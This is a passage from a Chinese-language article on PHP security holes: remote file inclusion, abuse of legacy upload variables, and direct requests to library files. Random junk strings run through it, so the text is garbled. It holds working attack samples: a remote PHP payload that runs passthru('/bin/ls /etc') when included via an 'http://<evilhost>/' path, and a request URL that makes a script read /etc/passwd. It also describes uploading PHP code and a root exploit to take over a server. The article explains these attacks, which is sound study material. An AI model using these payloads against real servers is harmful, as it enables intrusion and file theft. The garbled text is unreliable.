: w( w5 |5 a7 z+ y* ] 1. <?php & q/ w3 \( [ Y# u; O% j `; N 2. include($libdir . "/languages.php"); 9 X+ [% c- D! m# z: m$ q* q8 B 3. ?> : w5 s; T* h7 Q! c9 _$ S% f' M' t, P
& M6 r1 p( I% ]- Z
上例中"$libdir"一般是一个在执行代码前已经设置好的路径,如果攻击者能够使得"$libdir"没有被设置的话,那么他就可以改变这个路径。但是攻击者并不能做任何事情,因为他们只能在他们指定的路径中访问文件languages.php(perl中的"Poisonnull byte"攻击对PHP没有作用)。但是由于有了对远程文件的支持,攻击者就可以做任何事情。例如,攻击者可以在某台服务器上放一个文件 languages.php,包含如下内容: ' ?% X& U6 }& {* KPHP代码 ( u# N. T( `8 ^! x- l; q. U \* w; Q, U2 T, H$ @5 ^# c5 R5 F; Z
1. <?php & c1 e) H. |. X
2. passthru("/bin/ls /etc"); 3 P. `8 {( S* f; x4 U 3. ?> 3 j7 i# d# S5 m( O1 t- V* n
9 V8 b) S6 J/ x' r4 u% H
然后把"$libdir"设置为"http://<evilhost>/",这样我们就可以在目标主机上执行上面的攻击代码,"/etc"目录的内容将作为结果返回到客户的浏览器中。 " @% C2 j" N& n- w. a; E9 {) a8 g " a$ G- S0 r2 l! B需要注意的是,攻击代码是不会在自身所在的服务器(也就是evilhost)上执行执行自身PHP程序的,否则,攻击代码会攻击自身所在的服务器,而不是在目标服务器执行。 / e2 A, q. {+ Y$ h9 f$ S3 f4 G3 O5 y3 r6 Q$ S8 k
如何通过文件上载进行攻击? ) |1 a6 h$ p; a6 T6 N# M& u $ g: A) w- s: r. l! V" {% ?, ^PHP自动支持基于RFC 1867的文件上载,我们看下面的例子: " w5 ]- `' H; C% M7 [5 C/ |PHP代码" _" V4 v1 J/ c$ L
1 `: k; o1 v) X" ` 1. <FORM METHOD="POST" ENCTYPE="multipart/form-data"> g. {. z9 M' h+ v6 l. \ 2. <INPUT TYPE="FILE" NAME="hello"> 1 G- }3 ~8 |2 Y) r 3. <INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240"> 4 h+ h& I q! s9 ], V: s4 h
4. <INPUT TYPE="SUBMIT"> * y0 y9 ?$ Z9 ^* J, J7 f
5. </FORM> 4 x1 @$ u2 N/ [+ \ d, z4 b" `+ o
4 W9 n, i2 A9 c6 H3 W/ ? m 上面的代码让用户从本地机器选择一个文件,当点击提交后,文件就会被上载到服务器。这显然是很有用的功能,但是PHP的响应方式将使这项功能变得不安全。当PHP第一次接到这种请求,甚至在它开始解析被调用的PHP代码之前,它会先接受远程用户的文件,检查文件的长度是否超过"$MAX_FILE_SIZE variable"定义的值,如果通过这些测试的话,文件就会被存在本地的一个临时目录中。 ; d# u2 [8 T; ^因此,攻击者可以发送任意文件给运行PHP的主机,在PHP程序还没有决定是否接受文件上载时,文件已经被存在服务器上了。6 A0 c) w2 a) N1 ^
" c3 o x: J B3 \7 A/ N7 X) F让我们考虑一下处理文件上载的PHP程序,正如我们上面说的,文件被接收并且是存在服务器上(位置是在配置文件中指定的,一般是/tmp),扩展名一般是随机的,类似"phpxXuoXG"的形式。PHP程序需要上载文件的信息以便处理它,这可以通过两种方式,一种方式是在PHP3中已经使用的,另一种是在我们对以前的方法提出安全公告后引入的。3 X5 t9 I6 y+ j [9 n
8 ]6 {; Y) Z2 }- t* d# N: K+ {大多数PHP程序还是使用老的方式来处理上载文件。PHP设置了四个全局变量来描述上载文件,比如说上面的例子: 8 |9 r, K8 `5 t1 N' ]- ^. kPHP代码- V. I. I w, K3 l! S
4 m8 ^! f, W; s7 c7 q 1. $hello = Filename on local machine (e.g "/tmp/phpxXuoXG") ! v( u( {7 f. c
2. $hello_size = Size in bytes of file (e.g 1024) + B" ~# u% a) V& y) u: W6 o
3. $hello_name = The original name of the file on the remote system (e.g"c:\\temp\\hello.txt") - `5 F* u5 J Z$ C4 Y4 P3 U
4. $hello_type = Mime type of uploaded file (e.g "text/plain") # A( f: {0 Z5 c, S7 h: E/ T4 n2 t3 T. o5 \2 K
然后,PHP程序开始处理根据"$hello"指定的文件。问题在于"$hello"不一定是一个PHP设置的变量,任何远程用户都可以指定它。如果我们使用下面的方式: - m( c7 O( A. H+ m0 U) t# _4 m, K. I: V4 l: K; ]
http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=text/plain&hello_name=hello.txt + Y3 p: V" s7 P, H& H4 u1 p3 }" h) N% R" j8 C: a, K
就导致了下面的PHP全局变量(当然POST方式也可以(甚至是Cookie)):9 a0 B) d! T2 g) c+ B4 R
PHP代码 + v% ]/ H0 r' H- [8 g- D" Z6 O% P0 H" g# G1 R4 b8 z6 x
1. $hello = "/etc/passwd" 6 n& D" S5 m) c& M# Q- p 2. $hello_size = 10240 9 _7 P) c5 y3 }' m 3. $hello_type = "text/plain" . \% s& l6 Q/ o: d' }
4. $hello_name = "hello.txt" 9 M) @% _4 W- u
& X& T; D8 D" O" Z7 {4 N+ [
上面的表单数据正好满足了PHP程序所期望的变量,但是这时PHP程序不再处理本应在上载者本机上的上载文件,而是处理服务器上"/etc/passwd"(通常会导致内容暴露)文件。这种攻击可以用于暴露任何敏感文件的内容。 # D/ {# i/ {% A5 ?3 w$ U. ], f6 H# x, a
新版本的PHP使用HTTP_POST_FILES[]来决定上载文件,同时也提供了很多函数来解决这个问题,例如有一个函数用来判断某个文件是不是实际上载的文件。但是实际上肯定有很多PHP程序仍然使用旧的方法,所以也很容易受到这种攻击。 1 u, J3 V6 X# s- X* @9 {* i: k6 L6 L8 M
作为文件上载的攻击方法的一个变种,我们看一下下面的一段代码: " {7 O3 o6 g& y+ L7 GPHP代码 4 z9 e; n0 `) p- {- D$ w( d% F* V0 h5 c
1. <?php ) @5 L* W; ~7 X; \% n: M 2. if (file_exists($theme)) // Checks the file exists on the local system (noremote files) 4 T5 Z* e" m! I s! m7 U
3. include("$theme"); ( x& U, D; ~! o; r7 l9 z: @' z4 _- B
4. ?> # A% H: O/ n, Y ]
4 r; J# r6 |- u! Q3 R! W" x( D, Q
如果攻击者可以控制"$theme"的话,很显然它可以利用"$theme"来读取远程系统上的任何文件。攻击者的最终目标是在远程服务器上执行任意指令,但是他无法使用远程文件,因此,他必须得在远程服务器上创建一个PHP文件。这乍看起来好象是不可能的,但是文件上载帮了我们这个忙,如果攻击者先在本地机器上创建一个包含PHP代码的文件,然后创建一个包含名为"theme"的文件域的表单,最后用这个表单通过文件上载把创建的包含PHP代码的文件提交给上面的代码,PHP就会把攻击者提交的文件保存起来,并把"$theme"的值设置为攻击者提交的文件,这样file_exists()函数会检查通过,攻击者的代码也将执行。 % R8 V1 O" Z* j获得执行任意指令的能力之后,攻击者显然想提升权限或者是扩大战果,而这又需要一些服务器上没有的工具集,而文件上载又一次帮了攻击者的忙。攻击者可以使用文件上载功能上载工具,把她们存在服务器上,然后利用他们执行指令的能力,使用chmod()改变文件的权限,然后执行。例如:攻击者可以绕过防火墙或IDS上载一个本地root攻击程序,然后执行,这样就获得了root权限。, g W( G3 P; m
+ i: P5 v* X6 H! k) L如何通过库文件进行攻击? % {: q2 R' z" l1 A8 Z: q5 Q3 C' G8 \0 g! l" k: ]/ b! J
正如我们前面讨论的那样,include()和require()主要是为了支持代码库,因为我们一般是把一些经常使用的函数放到一个独立的文件中,这个独立的文件就是代码库,当需要使用其中的函数时,我们只要把这个代码库包含到当前的文件中就可以了。 , B$ A/ U) C m+ V ) ^0 _% u& L T! N# G最初,人们开发和发布PHP程序的时候,为了区别代码库和主程序代码,一般是为代码库文件设置一个".inc"的扩展名,但是他们很快发现这是一个错误,因为这样的文件无法被PHP解释器正确解析为PHP代码。如果我们直接请求服务器上的这种文件时,我们就会得到该文件的源代码,这是因为当把PHP作为 Apache的模块使用时,PHP解释器是根据文件的扩展名来决定是否解析为PHP代码的。扩展名是站点管理员指定的,一般是".php", ".php3"和".php4"。如果重要的配置数据被包含在没有合适的扩展名的PHP文件中,那么远程攻击者很容易得到这些信息。4 q$ p/ |4 A0 R( U$ H
; N: U8 ]. O/ F( B( P. d7 Q
最简单的解决方法就是:给每个文件都指定一个PHP文件的扩展名,这样可以很好的防止泄露源代码的问题,但是又产生了新的问题,通过请求这个文件,攻击者可能使本该在上下文环境中运行的代码独立运行,这可能导致前面讨论的全部攻击。 8 }- I2 v4 w$ s3 |2 |4 O' c1 D& i3 F9 ^$ a }* G, U
下面是一个很明显的例子:$ Z; s3 j" I L$ }1 R
PHP代码 3 k4 h+ _: C5 T6 }+ i7 c) \( S- f1 e, d
1. In main.php: - f2 q/ e' i3 v" e 2. <?php 0 x* w( q. j9 H1 T6 J 3. $libDir = "/libdir"; : |, h1 \% c1 W" ]% R+ G3 n
4. $langDir = "$libdir/languages"; : h! G% ~3 B. u; U4 t C
5. ... 0 y* P& O8 [ O3 k 6. include("$libdir/loadlanguage.php": / Y$ w( a/ F3 q$ `3 A$ g& @
7. ?> ) {7 {6 c9 j: ^& k; X 8. , f" J3 L P7 K1 N/ k C& a2 D" i 9. In libdir/loadlanguage.php: + G4 @ I$ K6 V1 m) N+ o
10. <?php ! k' R' e E3 f" c( Z
11. ... 7 P: l: z* r( ^1 l) m+ }: ~
12. 2 ?2 }8 D/ X8 n+ n+ M' K( [
13. include("$langDir/$userLang"); , M! h, Y5 M9 n8 S% H
14. ?> . z- z: j0 E4 [1 L" Z L - U4 }: P8 G- O2 _) k) I 当"libdir/loadlanguage.php"被"main.php"调用时是相当安全的,但是因为"libdir /loadlanguage"具有".php"的扩展名,因此远程攻击者可以直接请求这个文件,并且可以任意指定"$langDir" 和"$userLang"的值。5 I+ K3 H# |& w0 e